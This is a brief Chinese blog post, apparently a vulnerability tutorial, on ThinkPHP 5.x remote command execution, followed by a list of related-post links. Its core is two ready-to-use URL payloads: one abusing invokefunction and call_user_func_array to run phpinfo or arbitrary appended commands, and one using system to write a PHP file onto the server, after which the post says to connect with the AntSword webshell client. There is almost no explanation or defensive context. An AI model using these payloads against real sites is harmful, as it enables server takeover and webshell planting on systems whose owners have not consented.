常见框架漏洞:Thinkphp(TP)篇

简介

ThinkPHP (简称 TP )是一款流行的 国产开源 PHP 框架 ,遵循 MVC(Model-View-Controller) 设计模式,以简洁、高效、灵活著称,广泛应用于国内中小型 Web 项目开发。

Thinkphp5x远程命令执行及getshell

原理

rce

过程

打开网站

复制代码
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[
1][]=-1

在后面拼接指令即可

getshell

复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=echo "<?php phpinfo();?>" >>1.php

访问后使用蚁剑链接即可

相关推荐
菩提小狗21 小时前
每日安全情报报告 · 2026-10-02
网络安全·漏洞·cve·安全情报·每日安全
菩提小狗2 天前
每日安全情报报告 · 2026-10-01
网络安全·漏洞·cve·安全情报·每日安全
菩提小狗3 天前
每日安全情报报告 · 2026-09-29
网络安全·漏洞·cve·安全情报·每日安全
菩提小狗12 天前
每日安全情报报告 · 2026-09-21
网络安全·漏洞·cve·安全情报·每日安全
菩提小狗12 天前
每日安全情报报告 · 2026-09-17
网络安全·漏洞·cve·安全情报·每日安全
java资料站17 天前
NextScan(飞刃)v1.2.0 docker-compose 部署解析
漏洞
菩提小狗18 天前
每日安全情报报告 · 2026-09-14
网络安全·漏洞·cve·安全情报·每日安全
其实防守也摸鱼20 天前
每天一个知识点——RCE漏洞
运维·服务器·数据库·windows·安全·github·漏洞
ymwlchina22 天前
phpStudy 如何部署符号象客户关系管理系统(ThinkPHP 8)记录
crm·thinkphp·phpstudy·网站部署·小皮面板·客户关系管理系统
菩提小狗25 天前
每日安全情报报告 · 2026-09-06
网络安全·漏洞·cve·安全情报·每日安全